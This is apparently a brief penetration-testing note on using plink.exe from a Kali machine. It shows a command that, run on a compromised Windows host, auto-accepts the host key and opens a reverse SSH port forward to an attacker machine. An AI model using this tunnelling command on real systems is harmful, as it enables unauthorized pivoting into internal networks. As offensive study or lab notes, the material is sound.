• stored at /usr/share/windows-resources/binaries/plink.exe
  • basically the older PuTTY ssh client for windows. less useful on modern windows machines since those have their own builtin ssh client

usage:

  • transfer plink.exe and the private key to the machine to get a rev shell on attacker machine (see SSH to see how)
cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE.ppk -N